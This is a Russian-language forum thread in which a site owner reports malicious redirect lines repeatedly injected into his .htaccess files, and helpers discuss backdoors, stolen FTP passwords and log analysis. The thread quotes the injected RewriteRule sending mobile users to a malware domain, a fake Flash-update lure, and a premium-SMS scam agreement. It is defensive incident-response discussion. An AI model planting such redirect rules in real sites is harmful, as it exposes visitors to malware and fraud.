Изменяются файлы .htaccess - уязвимость скриптов?

[Алексей]

Сегодня были дополнены все файлы .htaccess на сайте, несмотря на запрет записи (444), следующими строчками:

Код: Выделить всё

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://critical-upd.ru/?upd&source=.htaccess [L,R=302] #

Примерно такие же записи были дополнены в .htaccess - 18 декабря 2012г.

Хостер говорит, что это уязвимость ваших скриптов. Что атрибут 444 на 644 могут поменять скрипты.

Что интересно - у измененных файлов не поменялась дата изменения, она осталась 19.12.12 - эта та дата, когда я восстановил все файлы .htaccess после случая 18.12.12. Скрипты тоже могут такое вытворять?

Также заметил, что в файлах .htaccess изменен формат переноса строк с UNIX на WINDOWS.

Сам я создал и захожу на хостинг через виртуальную машину, где установлен Windows 7, антивирус Касперского и ftp-клиент FileZilla Client. Пароли хранятся только в зашифрованном архиве, который после его закрытия затирает временную папку. В браузере и ftp-клиенте пароли (для захода на хостинг) не сохраняю.

Есть подозрения на ftp-клиент FileZilla Client, который утащил мои пароли. Хотя хостер настаивает, что это уязвимость ваших скриптов. А на самом деле как узнать кто, откуда, каким способом меняет файлы .htaccess?

[VEG]

Приведённый выше код для .htaccess — классический вариант перенаправления пользователей на сайты-расскадники вирусов. Если к вам на сервер кто-то уже проник и смог отредактировать .htaccess, то скорее всего помимо изменений в .htaccess вам залили и бэкдор, через который злоумышленники могут делать любые операции на сервере. То есть прежде, чем продолжать работу, на вашем сайте нужно провести детальную проверку кода на бэкдоры.

Запросите у хостера подробные логи FTP, SSH и HTTP за тот период времени, когда предположительно произошло проникновение. Вообще очень плохо, что вы спохватились только через месяц — тем тяжелее найти все заплатки, которые оставили для себя злоумышленники. Очень часто бэкдор может загружаться в виде, например, gif изображения со специальной правкой .htaccess файла, которая интерпретирует его как PHP. В результате обычный пользователь, открывая это изображение, видит обычную картинку. А у злоумышленника может стоять специальная cookie, которая при открытии этого изображения активирует бэкдор.

Причины проникновения — чаще всего использование пиратского (и заранее заражённого) ПО или активация вирусов через уязвимости необновлённой ОС/браузера/плагинов к браузеру (флэш, PDF ридер, Java и т.д.), как следствие — кража паролей на FTP или SSH. За много лет работы 95% случаев проникновений, которые я разбирал, были именно по этой схеме. Причём это легко отслеживалось по логам FTP — злоумышленники сразу подключались с правильным паролем, загружали исправленные версии .htaccess и в какой-нибудь неприметный каталог (например, images) загружали небольшой бэкдор на случай изменения пароля от FTP.

Реже — причина в известных уязвимостях популярных скриптов. Я сталкивался с таким один раз на необновлённом phpBB 2, в котором было найдено несколько критических уязвимостей. И это было уже очень давно.

В phpBBex с первых версий (как и в phpBB 3 с первых версий) не было найдено ни одной уязвимости. Если на вашем сайте кроме форума есть ещё какие-то скрипты — обязательно проверьте их на наличие известных уязвимостей. Наименее вероятный вариант (если на сайте сайте нет ничего кроме форума) — уязвимости в каких-то сторонних модификациях. Детально анализируя логи всегда можно узнать кто виновник торжества. Конечно же, при наличии этих самых логов.

Что делать? Отключаете сайт, выгружаете полную копию к себе на компьютер, сверяете абсолютно все файлы с версиями из репозитория. Каждое отличие от оригинальных файлов пристально изучаете — для создания бэкдора достаточно добавить одну неприметную строчку в существующие скрипты. Если же найдёте в логах подробности проникновения, задача значительно облегчится — вы сможете отследить, в каких файлах были произведены модификации.

[prebbex]

на сайте идет проверка флеш-плеера (имитация), и вывод сообщения: ваш плеер устарел, содержит вагон ошибок, необходимо обновиться с авторедиректом на загрузку плеера, конечно же своего, не из Адобы. Кто-то форумирует ботнет? или крадет кредитки.
Алексей, ищите руткит

Добавлено спустя 2 минуты 19 секунд:

На вашем телефоне установлен устаревший Flash Player, который вероятно работает некорректно и может содержать ошибки. Нажмите кнопку "Обновить" для установки новой версии. Процесс займет не более 1-2 минут.

[обновить]

Центр обновления установленных компонентов: Центр обновления установленных компонентов: Текущая версия Flash Player содержит ошибки №46, №23, №1045 и №593 рекомендуем обновить до новой версии.

© Adobe Systems Incorporated
Пользовательское соглашение

Добавлено спустя 2 минуты 43 секунды:
пользовательское соглашение по приведенной ссылке

(VEG, я не сильно засоряю форум? а то скажите зачем мне эта дрянь? если нет, поставьте лайк!)

Добавлено спустя 3 минуты 43 секунды:
сайт уже другой, http: //flash-update-critical.ru/tos.php

Добавлено спустя 56 секунд:
ссори, сайт тот же

(сделаны правки, убиты ссылки)

Пользовательское соглашение
Для получения доступа к контенту вы должны согласиться с условиями, представленными ниже. Ниже представлен текст соглашения-оферты между сервисом _http ://waply.ru/ и Абонентом.

1. Для получения доступа к предоставляемому сервисом http ://waply.ru/ контенту необходимо произвести оплату путем отправки до 3-х СМС-сообщений.
2. Администрация http ://waply.ru/ не несет никакой ответственности за любой прямой или косвенный ущерб, возникший в результате использования приложения, включая упущенную прибыль и понесенные убытки.
3. При первом запуске приложений http ://waply.ru/ запрашивается разрешение на передачу регистрационных данных на сервера http ://waply.ru/ с использованием ПЛАТНОГО короткого номера:

Для Казахстана:
Сервис доступен на всей территории РК
Стоимость любого исходящего SMS-сообщения на номер 9684 – 177.68 тенге для абонентов всех Операторов включая НДС.
Стоимость любого исходящего SMS-сообщения на номер 9685 – 400.89 тенге для абонентов всех Операторов включая НДС.
Стоимость любого исходящего SMS-сообщения на номер 9683 – 535.71 тенге для абонентов всех Операторов включая НДС.
Для всех абонентов сетей GSM: K’Cell, ActiV, Beeline, NEO, Dalacom, Pathword.
В случае ошибочного запроса на короткий номер 9683, система не уведомит об ошибке, но услуга будет считаться оказанной, и денежные средства за SMS будут списаны с лицевого счета мобильного телефона.
При возникновении вопросов, связанных с работоспособностью сервиса, следует обращаться в службу поддержки: help@zerogravity.kz , +7 (727) 356-79-56
Zero Gravity и http ://waply.ru/ не несут ответственности за сбои в работе операторов сотовой связи.
После отправки SMS, Вы даёте своё согласие получать SMS уведомления от компании http ://waply.ru/.
Факт пользования сервисом подразумевает согласие пользователя с настоящими условиями
http ://waply.ru/ и Zero Gravity оставляет за собой право вносить любые изменения и/или дополнения в настоящие правила в период оказания услуг пользователям.
Подробная информация на сайте: zerogravity.kz

Для Украины:
- 4610 стоимостью 3,00 грн.
- 4620 стоимостью 16,00 грн.
- 4630 стоимостью 30,00 грн.
- 4640 стоимостью 50,00 грн.
с учетом НДС.
Дополнительно удерживается сбор в Пенсионный фонд в размере 7,5% от стоимости услуги без учета НДС.
Услуга действительна для абонентов всех национальных GSM-операторов Украины.
Услуги предоставляет Технический партнер ООО "Агрегатор Мобильных Сервисов.
Юр. адрес: 03057, г. Київ, ул.Молдавская, д. 2, оф. 2-Г
Техническая поддержка абонентов: +38(044) 383-09-59 с 10:00 до 18:00 с понедельника по пятницу
Услуга предоставляется только совершеннолетним.

Для Беларуси:
Отправка смс на короткий номер 2001, стоимость 6900руб. для абонентов всех операторов, без налогов

Для России:
Абоненты МТС, МегаФон, Билайн получают доступ к контенту после отправки 1 смс.
Отправка СМС-сообщения на сервисные номера:
- 1151 (Мегафон 34.75 руб., МТС 35.88 руб., Билайн 37.29 руб., Tele2 34.70 руб., около 38 руб. с НДС для остальных операторов) включая НДС.
- 7151 (МТС 42.34 руб., Мегафон 40.00 руб., Билайн 40.00 руб., Tele2 40.12 руб., около 40 руб. с НДС для остальных операторов) включая НДС.
- 7375 (МТС 35.00 руб., Билайн 35.00 руб., Мегафон 35.00 руб., Tele2 35.00 руб., около 35 руб. с НДС для остальных операторов) включая НДС.
- 1899 (Билайн 65.91 руб., Tele2 76.00 руб., Мегафон 94.00 руб., МТС 63.14 руб., около 70 руб. с НДС для остальных операторов) включая НДС.
- 6365 (МТС 75.00 руб., Билайн 77.77 руб., Мегафон 75.00 руб., Tele2 75.00 руб., около 75 руб. с НДС для остальных операторов) включая НДС.
- 9151 (МТС 135.12 руб., Билайн 130.00 руб., Мегафон 135.00 руб., Tele2 125.08 руб., около 120 руб. с НДС для остальных операторов) включая НДС.
- 9999 (МТС 99.99 руб., Билайн 99.99 руб., Мегафон 99.99 руб., Tele2 99.99 руб., около 100 руб. с НДС для остальных операторов) включая НДС.
- 1161 (Билайн 110.17 руб., Tele2 94.70 руб., Мегафон 125.00 руб., МТС 94.71 руб., около 110 руб. с НДС для остальных операторов) включая НДС.
- 7781 (Мегафон 150.00 руб., Билайн 144.07 руб., МТС 172.20 руб., Tele2 173.00 руб., около 170 руб. с НДС для остальных операторов) включая НДС.
- 2855 (Мегафон 236.00 руб., Билайн 200.00 руб., МТС 240.00 руб., Tele2 236.00 руб., около 240 руб. с НДС для остальных операторов) включая НДС.
- 7155 (Мегафон 236.00 руб., Билайн 200.00 руб., МТС 240.00 руб., Tele2 236.00 руб., около 240 руб. с НДС для остальных операторов) включая НДС.
- 6666 (МТС 186.27 руб., Билайн 170.00 руб., Мегафон 186.26 руб., Tele2 177.00 руб., около 170 руб. с НДС для остальных операторов) включая НДС.
- 2858 (Билайн 200.00 руб., Tele2 200.60 руб., Мегафон 200.60 руб., МТС 203.20 руб., около 200 руб. с НДС для остальных операторов) включая НДС.
Отправка до 2-х СМС-сообщений на сервисный номер:
- 3855 (Билайн 300 руб., Мегафон 354.00 руб., МТС 304.79 руб., Tele2 249.99 руб., около 360 руб. с НДС для остальных операторов) включая НДС.
- 7255 (Билайн 300 руб., Мегафон 354.00 руб., МТС 304.79 руб., Tele2 249.99 руб., около 360 руб. с НДС для остальных операторов) включая НДС.
- 4481 (Мегафон 254.24 руб., Билайн 254.24 руб., МТС 258.30 руб., Tele2 211.86 руб., около 250 руб. с НДС для остальных операторов) включая НДС.
- 8916 (Мегафон 354 руб., Билайн 300 руб., МТС 304.80 руб., Tele2 250 руб., около 310 руб. с НДС для остальных операторов) включая НДС.
Общая стоимость услуги составляет не более 600 рублей.
Стоимость услуг для абонентов МегаФон не превышает 354 рублей.

Для оператора ЕТК:
1151 - Енисей Телеком 236 руб. (RUR) с НДС
1161 - Енисей Телеком 95 руб. (RUR) с НДС
1899 - Енисей Телеком 65 руб. (RUR) с НДС
4481 - Енисей Телеком 228.81. (RUR) с НДС
2855 - Енисей Телеком 236 руб. (RUR) с НДС
6666 - Енисей Телеком 177 руб. (RUR) с НДС
7781 - Енисей Телеком 145 руб. (RUR) с НДС
6365 - Енисей Телеком 75 руб. (RUR) с НДС
7375 - Енисей Телеком 35 руб. (RUR) с НДС
9999 - Енисей Телеком 99.99 руб. (RUR) с НДС
9151 - Енисей Телеком 125.08 руб. (RUR) с НДС
8916 - Енисей Телеком 350 руб. (RUR) с НДС
7151 - Енисей Телеком 40.12 руб. (RUR) с НДС
4. Пользователь вправе отказать в передаче регистрационных данных. В таком случае приложения http ://waply.ru/ остаются неактивированными.
5. Передача регистрационных данных является единоразовой процедурой.
6. Администрация http ://waply.ru/ не несет никакой ответственности за попытки повторных запусков приложения и их последующую активацию. Повторный запуск и повторная активация является необязательной процедурой активации приложения. Администрация http ://waply.ru/ не рассматривает жалобы, касаемые повторных запусков и активаций.
7. Администрация http ://waply.ru/ не несет никакой ответственности за содержание приложений, доступ к которым оплачивается через приложение http ://waply.ru/. Вся ответственность за содержание приложений лежит на владельце контента, доступ к которому оплачивается с использованием приложения http ://waply.ru/.
8. В случае обнаружения спама или иных запрещенных методов распространения приложений, Администрация просит уведомлять о таких случаях в Службу поддержки Абонентов Контент-Провайдера через веб-сайт: support@sms911.ru с обязательным указанием ID приложения.
9. Абонент вправе обжаловать процедуру списания средств со счета в случаях, если заявленный в названии и описании контент не был предоставлен после успешной активации приложения. Для этого необходимо обратиться в Службу поддержки Абонентов через веб-сайт: http ://www.sms911.ru с обязательным указанием ID приложения.

Для активации приложения необходимо разрешить отправку запроса с использованием платного короткого номера. Полную информацию о тарифах вы можете получить на веб-сайте: http ://www.sms911.ru/.

Лицензионное соглашение (основные положения).

Продолжение процесса установки программного продукта означает ваше согласие с правилами, имеющими силу публичной оферты (ст. 437 Гражданского кодекса Российской Федерации), текст которых опубликован ниже (содержит основные положения Правил; полный текст правил доступен по следующему URL-адресу: http ://waply.ru/conditions.html

Настоящий программный продукт, загружаемый Вами на абонентское устройство, включая любые официальные дополнения к нему, является результатом интеллектуальной деятельности, охраняемым в соответствии с гражданским законодательством Российской Федерации или нормами применимого законодательства соответствующих иностранных государств (для пользователей сетей подвижной радиотелефонной связи иностранных государств). Настоящий программный продукт предоставляется Вам (конечному пользователю) по не исключительной лицензии на настоящих условиях. Программный продукт предоставляется на возмездной основе. Программный продукт является инсталляционным модулем («приложением»), обеспечивающим доступ к сервисам интернет-ресурса waply.ru. Интернет-ресурс waply.ru является сервисом обмена файлами и ссылками на файлы-приложения для абонентских станций (мобильных телефонов, коммуникаторов и иных аналогичных устройств, работающих под управлением операционных систем, поддерживающих выполнение скриптов Java2me, а также Android). Сервис позволяет абоненту после регистрации на интернет-ресурсе без ограничений использовать функции поиска и загрузки приложений для абонентских станций. Оферент гарантирует одновременную доступность на сайте не менее 25 приложений и не менее 10 активных URL-ссылок на файлы, расположенные на других файловых хранилищах или иных аналогичных web-площадках, имеющих потребительскую ценность по заключению отдела маркетинга оферента. Регистрация на указанном сервисе производится путём установки на абонентскую станцию настоящего программного продукта, который в процессе инсталляции (установки) производит обмен сообщениями электросвязи с цифровыми идентификаторами (сервисными номерами) сети вашего оператора. В процессе регистрации Вас в качестве пользователя сервиса производится отправка до трёх сообщений электросвязи на цифровые идентификаторы, имеющие premium-тарификацию. Устанавливая и используя настоящий программный продукт, Вы даёте оференту согласие на, в том числе, передачу в тексте отправляемых на цифровые идентификаторы сообщений электросвязи сведений о технических параметрах используемой Вами абонентской станции с целью дальнейшего предоставления Вам совместимых приложений или ссылок на совместимые приложения. В процессе установки может производиться соединение со следующими цифровыми идентификаторами (в зависимости от общей нагрузки на соответствующие цифровые идентификаторы): 6151, 7151, 8151, 9151, 2858, 2855, 7155, 3858, 3855, 7255. Стоимость услуги (лицензии на один экземпляр программного продукта) составляет 1062 рублей (включая НДС). В случае, если в процессе установки производится соединение с цифровыми идентификаторами меньшей стоимости, оферент предоставляет пользователю скидку в размере разницы между стоимостью услуги и общей стоимостью установленных соединений между Модулем SIM абонента и цифровыми идентификаторами. Для абонентов ОАО «МегаФон» услуга предоставляется после успешной тарификации соединения, установленного между модулем SIM абонента и одним цифровым идентификатором сети ОАО «МегаФон» из перечисленных в настоящей оферте. Сумма скидки предоставляется на каждую лицензию, выплате в денежной форме не подлежит. Абонентам оператораTele2 услуга не предоставляется. Пожалуйста, подробно ознакомьтесь с полным текстом публичной оферты до использования сервиса! http ://waply.ru/conditions.html
© 2012 Все права защищены

Добавлено спустя 3 минуты 18 секунд:
яндекс на упоминаемый сайт waply . ru ругаются -- опасный говорят

Добавлено спустя 56 секунд:
классика

[factotum]

Алексей,
Не знаю, что у Вас с сервером, но для уверенности стоило бы:
1. Проверить компьютер на тройяны, кейлогеры, etc. в списке исключений антивируса.
2. Поменять пароли на почте. Если пользуетесь mail.ru - поменять и почту на что-нибудь менее дырявое.
3. Поменять пароли для админки, ФТП, etc.
4. погуглить установленные у хостера версии Apapche, PHP, SQL, etc. на предмет дырок.

несмотря на запрет записи (444)

доступ через FTP?

[Алексей]

Запросите у хостера подробные логи FTP, SSH и HTTP

Логами я сам на хостинге управляю. К сожалению, я их отключил. Только вчера их снова включил, установив ротацию по размеру лога 100Мб.

Отключаете сайт, выгружаете полную копию к себе на компьютер, сверяете абсолютно все файлы с версиями из репозитория.

Это я уже почти каждый день делаю. Еще намереваюсь сравнить все свои измененные файлы с вашим репозиторием и проанализировать на подозрительные изменения, которые я не делал.

Если на вашем сайте кроме форума есть ещё какие-то скрипты — обязательно проверьте их на наличие известных уязвимостей. Наименее вероятный вариант (если на сайте сайте нет ничего кроме форума) — уязвимости в каких-то сторонних модификациях.

У меня установлена последняя версия мини-чата от AllCity - только если он дырявый. Но как его проверить на наличие известных уязвимостей?

Алексей, ищите руткит

Проверить компьютер на тройяны, кейлогеры, etc. в списке исключений антивируса.

Проверял компьютер на вирусы с помощью Eset Smart Security и виртуалку с помощью Kaspersky Internet Security 2013 - ничего не находят.
На компьютере и виртуалке стоят Windows 7 x64.
Проверял на руткиты с помощью TDSSKiller - ничего не находит, жалуется только что некоторые файлы без цифровой подписи:

Когда проверял виртуалку на руткиты с помощью GMER 2.0.18444, то Касперский не давал ему нормально работать. В итоге GMER нашел только самого себя как руткита.
Проверял компьютер (не виртуалку) несколько раз с помощью GMER, в безопасном режиме - ничего нет, а в обычном режиме в определенный момент (через минут 10) выходил синий экран смерти с сообщением, что была попытка изменения структуры и целостности системных файлов, и компьютер перезагружался.

Вообщем, сегодня сохраню все свои файлы, удалю все разделы на жестком диске и переустановлю систему. Затем из чистой обновленной системы сменю все пароли на хостинге. В Windows теперь буду заходить с ограниченными правами, а не с правами админстратора, чтобы лазить на хостинге или в интернете, надеюсь, что поможет от внедрения руткитов.

[VEG]

Но как его проверить на наличие известных уязвимостей?

Поищите по запросам (и другим подобным):

Код: Выделить всё

phpbb mchat exploit
phpbb mchat эксплоит

Сразу скажу, что мод достаточно популярный и если бы в нём были известные уязвимости — об этом уже давно бы написали в теме mchat на phpbbguru.net.

Это я уже почти каждый день делаю. Еще намереваюсь сравнить все свои измененные файлы с вашим репозиторием и проанализировать на подозрительные изменения, которые я не делал.

Особое внимание обращайте на модификации всех .htaccess файлов во вложенных каталогах (сокрытие PHP кода в файлах другого типа легко реализуется лёгкой модификацией .htaccess). Также учтите, что в файле .hgignore описаны правила, по которым игнорируются некоторые файлы (кэш, например). Те каталоги, которые в исключениях, обязательно проверьте вручную. Каталог кэша полностью очистите, оставив пару родных файлов. Каталоги с загружаемыми файлами (аватары, вложения) вручную проверьте на наличие сторонних файлов: в аватарах должны быть только изображения, во вложениях только файлы без расширений и всюду оригинальный .htaccess.

Проверял компьютер на вирусы с помощью Eset Smart Security и виртуалку с помощью Kaspersky Internet Security 2013 - ничего не находят.

Технически если вирус проник в систему, он может установить себя на слишком низком уровне, скрывая полностью свою деятельсность. На Хабре была статья об одной известной ботнет сети, так там очень большой процент заражённых компьютеров были с включённым антивирусом.

Вообщем, сегодня сохраню все свои файлы, удалю все разделы на жестком диске и переустановлю систему. Затем из чистой обновленной системы сменю все пароли на хостинге. В Windows теперь буду заходить с ограниченными правами, а не с правами админстратора, чтобы лазить на хостинге или в интернете, надеюсь, что поможет.

Думаю это верный ход. Лучше перестраховаться. Также учтите, что если имел место какой-то вирус, то он мог «заразить» собой существующие исполняемые файлы (методов много, есть даже вариант без модификации самого исполняемого файла — достаточно положить рядом с исполняемым файлом заражённую копию системной dll).

Есть, кстати, вариант, что взломали вообще не вас, а кого-то другого на вашей площадке. В ядре Linux периодически находят уязвимости, позволяющие поднимать свои права до уровня суперпользователя root. А с такими правами можно делать со всеми сайтами на площадке любые чудеса. Такой вариант, конечно же, редок, но исключать не стоит. Хостеры вообще редко обновляют версии ПО на своих серверах (что очень и очень печально, но приходится мириться). Будет проще при наличии логов за нужный промежуток времени. Главное отловить момент, когда оригинальные файлы .htaccess изменяются без вашего участия, и проанализировать все доступные логи за этот период.

[prebbex]

100 м много, поставьте 5 -- 10, иначе сервер тормозить может (или у вас выделенка?) и анализировать руками не удобно

руткит -- это не троян и не кейлогер, да и не на винде оно. это на сервере[quote=factotum]погуглить установленные у хостера версии Apapche, PHP, SQL, etc. на предмет дырок[/quote], хотя направление мыслей верное

Добавлено спустя 5 минут 22 секунды:

Хостеры вообще редко обновляют версии ПО на своих серверах (что очень и очень печально, но приходится мириться

у меня на одном хостинге пхп 2008 стоит

[VEG]

100 м много, поставьте 5 -- 10, иначе сервер тормозить может (или у вас выделенка?) и анализировать руками не удобно

5-10 мегабайт будет мало. У меня на площадке за сутки логов около 50 мегабайт. При этом логи хранятся за 5 дней (за прошедшие дни архивируются ночью). А у Алексея на сайте очень активные пользователи, гляди чтобы 100 мегабайт хватило хотя бы на сутки.
Ну а тормозить при записи логов нечему. Дописать строчку в конец файла — это быстрая операция независимо от размера файла. А непосредственно тяжёлая операция «ротации» скорее всего запускается раз в сутки где-нибудь ночью, так что проблем быть не должно.

[Алексей]

Есть, кстати, вариант, что взломали вообще не вас, а кого-то другого на вашей площадке.

Я почему-то уверен, что хостер никогда не признается в этом. Я задавал подобные вопросы, его ответ:

Что такое шелл на прекрасно известны.
Наш сервер защищен от подобных действий. С других аккаутов получить доступ к чужим сайтам возможности нет.
Даже если бы и были, при 444 правах изменить содержание файла с других аккаунтов нельзя.

Вообще, хостер настаивает на уязвимость скриптов:

Атрибуты допустим можно изменить скриптами (они работают от вашего имени) и изменить права туда и обратно вполне возможно, если есть дыры.
(это подтверждает как раз то что уязвимость именно в ваших скриптах, а ни где либо еще).
На счет времени изменения файлов я еще уточню..

руткит -- это не троян и не кейлогер, да и не на винде оно. это на сервере[quote=factotum]погуглить установленные у хостера версии Apapche, PHP, SQL, etc. на предмет дырок - хотя направление мыслей верное

Куда деваться, придётся мне делать работу хостера.

100 м много, поставьте 5 -- 10, иначе сервер тормозить может (или у вас выделенка?) и анализировать руками не удобно

5-10 мегабайт будет мало

Будет точно мало. У меня за час лог набирает несколько Мб, вечером наверное около 10Мб. До этого стояла ротация логов каждый час, кол-во лог-файлов 3. Я так могу опять всё пропустить, хотел вообще поставить 1 гиг, но это уже наверное многовато.

А непосредственно тяжёлая операция «ротации» скорее всего запускается раз в сутки где-нибудь ночью, так что проблем быть не должно.

Там есть опция - без ротации, но это наверное, последний файл целиком будет затираться - надо будет узнать.

[VEG]

Я почему-то уверен, что хостер никогда не признается в этом.

Можете просто прислать хостеру ссылки на статьи по теме. Например:
http://v673.com/linux/use-local-root-exploit/
http://habrahabr.ru/post/136826/
Хотя, конечно же, всё равно я думаю, что такой вариант не самый вероятный. Всё-таки для использования уязвимостей в серверном ПО квалификация у злоумышленников должна быть побольше. Намного проще использовать автоматизированные системы для сбора паролей.

[Алексей]

VEG, а вы сами каким ftp-клиентом пользуетесь. Что-то я начал сомневаться на счет ftp-клиента FileZilla Client, с ним помню где-то пару месяцев назад какие-то проблемы были - или антивирус поругался, или он вызвал ошибку, точно не помню.

[VEG]

У меня Total Commander. Но если вы качали FileZilla с официального сайта, то проблем быть не должно. Всё-таки Open Source.
Кстати, что касается FTP. Если вы пользуетесь каким-то интернетом, где кто-то может прослушивать ваш трафик, то ваши пароли могли стянуть и без доступа к вашему компьютеру. Например, достаточно авторизоваться где-нибудь по незащищённому соединеню через публичную wi-fi сеть для того, чтобы злоумышленник смог перехватить пароль. Конкретно пароли к FTP так редко перехватывают (обычно куки от социальных сетей, куда пользователи заходят из кафешек там всяких).
Существует защищённая версия FTP — SFTP. По сути это тот же FTP, но через зашифрованное SSH соединение. Total Commander, правда, поддерживает его только через плагин.

[prebbex]

защищённая версия FTP — SFTP

Алексей, читайте как ftps

У меня установлена последняя версия мини-чата от AllCity

можно этот ваш дистрибутив или точный линк на него? и версию форума

[VEG]

prebbex, нет, я имел в виду именно SFTP.

[prebbex]

они их клонируют. фтпс был тем же самым

[Алексей]

можно этот ваш дистрибутив или точный линк на него? и версию форума

пожалуйста,

mchat_from_offsite.zip

(158.2 КБ) Скачиваний: 1639

Версия форума phpbbex 1.5.3

[Алексей]

Ещё, открывать файлы шаблона для всех не опасно? Пример, http://supermamki.ru/styles/subsilver2/
Может сделать запрет на папку styles в .htaccess? Повлияет ли запрет на нормальную работу?

[VEG]

Алексей, вообще странно, в phpBBex есть инструкция, которая запрещает смотреть каталоги:

Код: Выделить всё

Options -Indexes

Скорее всего вы её удалили или ваш сервер не поддерживает эту опцию. Вообще, если на сервере нет уязвимостей, то это безопасно. Рекомендуется отключать отображение списков файлов на случай, если кто-то захочет изучить структуру вашего сайта. В некоторых редких случаях это может помочь взломщику воспользоваться какой-нибудь известной уязвимостью, где нужно каким-то образом использовать пути к локальным файлам. В общем и целом эта опция погоды не делает — злоумышленник сможет изучить структуру движка просто скачав копию phpBB или phpBBex.

Может сделать запрет на папку styles в .htaccess? Повлияет ли запрет на нормальную работу?

Запрет на чтение файлов из этого каталога нельзя делать. Оттуда грузятся некоторые JS файлы и картинки. Ну а отображение списков файлов должно быть по умолчанию отключено, как я писал выше.

[Алексей]

Скорее всего вы её удалили или ваш сервер не поддерживает эту опцию

Я домен перепутал, на нашем сервере эта опция срабатывает нормально - http://supermamki-nk.ru/styles/subsilver2/

[Алексей]

29.01.13 получилась та же петрушка с всеми файлами .htaccess:
- добавились строчки перенаправления на другой сайт
- сохранены все атрибуты, включая дату изменения (это могут делать php-функции touch, chmod, fileperms ...)
- перенос строк изменился с UNIX на WINDOWS
- остальные файлы не изменены и лишних тоже нет (кроме, конечно, /cache, /files, /image/avatars). В папке /image только картинки, хотя есть битые среди аватарок, но php-кода в них не увидел.

Все произошло на моих глазах - я настраивал редирект с помощью RewriteEngine. Работал через шифрованное соединение https в ISPManager. Открыл .htaccess, сделал изменения, записал, проверил редирект в браузере, затем открываю файл .htaccess и вижу что добавились строчки перенаправления - уже не мои:

Время, когда произошли изменения в файлах .htaccess, было около 18:50 (плюс-минус 10 минут). Смотрел журналы - никаких подозрительных запросов в это время не было. До этого, в другое время, из странных запросов были основном безобидные - на несуществующие файлы:

В 8:21 кто-то поинтересовался админкой:

Код: Выделить всё

Tue Jan 29 08:21:02 2013    client 91.207.7.90    script '/home/supermam/data/www/supermamki-nk.ru/wp-login.php' not found or unable to stat
Tue Jan 29 08:21:03 2013    client 91.207.7.90    File does not exist: /home/supermam/data/www/supermamki-nk.ru/administrator
Tue Jan 29 08:21:03 2013    client 91.207.7.90    script '/home/supermam/data/www/supermamki-nk.ru/admin.php' not found or unable to stat


В 16:09 :

Код: Выделить всё

[Tue Jan 29 16:09:50 2013] [error] [client 178.137.167.38] File does not exist: /home/supermam/data/www/supermamki-nk.ru/++++++++++++++++++++++++++++++++++++++++++++++++++++++Result:+\xe8\xf1\xef\xee\xeb\xfc\xe7\xee\xe2\xe0\xed+\xed\xe8\xea\xed\xe5\xe9\xec+"acheter+cialis+en+belgique+982";+\xef\xe8\xea\xf2\xee\xea\xee\xe4+\xe4\xe5\xf8\xe8\xf4\xf0\xee\xe2\xe0\xed+(2+\xef\xee\xef\xfb\xf2\xea\xe8);+\xe7\xe0\xf0\xe5\xe3\xe8\xf1\xf2\xf0\xe8\xf0\xee\xe2\xe0\xeb\xe8\xf1\xfc;+\xe2\xee\xf8\xeb\xe8;+\xe2\xee\xe7\xec\xee\xe6\xed\xee,+\xf0\xe5\xe3\xe8\xf1\xf2\xf0\xe0\xf6\xe8\xff+\xed\xe5+\xf3\xe4\xe0\xeb\xe0\xf1\xfc+(\xe2\xfb\xf1\xeb\xe0\xed+\xea\xee\xe4+\xe0\xea\xf2\xe8\xe2\xe0\xf6\xe8\xe8+

что в переводе на CP1251:

Код: Выделить всё

Tue Jan 29 16:09:50 2013] [error] [client 178.137.167.38] File does not exist: /home/supermam/data/www/supermamki-nk.ru/++++++++++++++++++++++++++++++++++++++++++++++++++++++Result:+использован+никнейм+"acheter+cialis+en+belgique+982";+пиктокод+дешифрован+(2+попытки);+зарегистрировались;+вошли;+возможно,+регистрация+не+удалась+(выслан+код+активации+

Через примерно полчаса после изменений файлов был запроc на несуществующий скрипт:

Код: Выделить всё

178.206.60.31   -   -   [29/Jan/2013:19:38:00   +0400]   GET /A2EB891D63C8/avg_ls_dom.js?_=1359477477048 HTTP/1.0

Доступом по FTP после смены всех паролей не пользовался.

Заметил страшную штуку - у хостера не работает директива php_flag engine off в .htaccess и потом выяснил, что и некоторые другие директивы тоже не работают. Хостер ответил: "Дело тут в связке Nginx и Apache". Поэтому добавил (уже после взлома) в .htaccess альтернативные рабочие директивы:

Код: Выделить всё

RemoveType application/x-httpd-php .php
<FilesMatch ".(php|php3|php4|php5|php6|phtml|phps)$|^$">
Order allow,deny
Deny from all
</FilesMatch>

Возможно, что из-за того, что не работала директива на выключение php-интерпретатора (php_flag engine off) в папки store/, cache/, files/ или images/avatars/upload/ залили что-то нехорошее. Но в журнале почему-то ничего нет, наверное замели следы - почистили журнал и удалили бэкдор.
На случай, если приходит что-то от соседа на сервере, у хостера попросил включить безопасный режим - директива safe_mode on.

Теперь добавил в планировщик cron запуск скрипта, который отслеживает изменения в файле .htaccess и записывает в лог время его изменения, чтобы уже точно знать когда были изменения.

Проверял полностью все свои файлы на отличие с оригинальным phpbbex v1.5.3 - изменения все мои, "левых" нет.

К сожалению, не поймал я по журналам того, кто изменил файлы .htaccess. Если это повторится, то надо будет просить хостера отключить опасные функции - system(), exec(), touch(), chmod() и т.д.

Вот мои журналы доступа и ошибок за 29.01.13:
http://yadi.sk/d/s50_JrEi2Uuym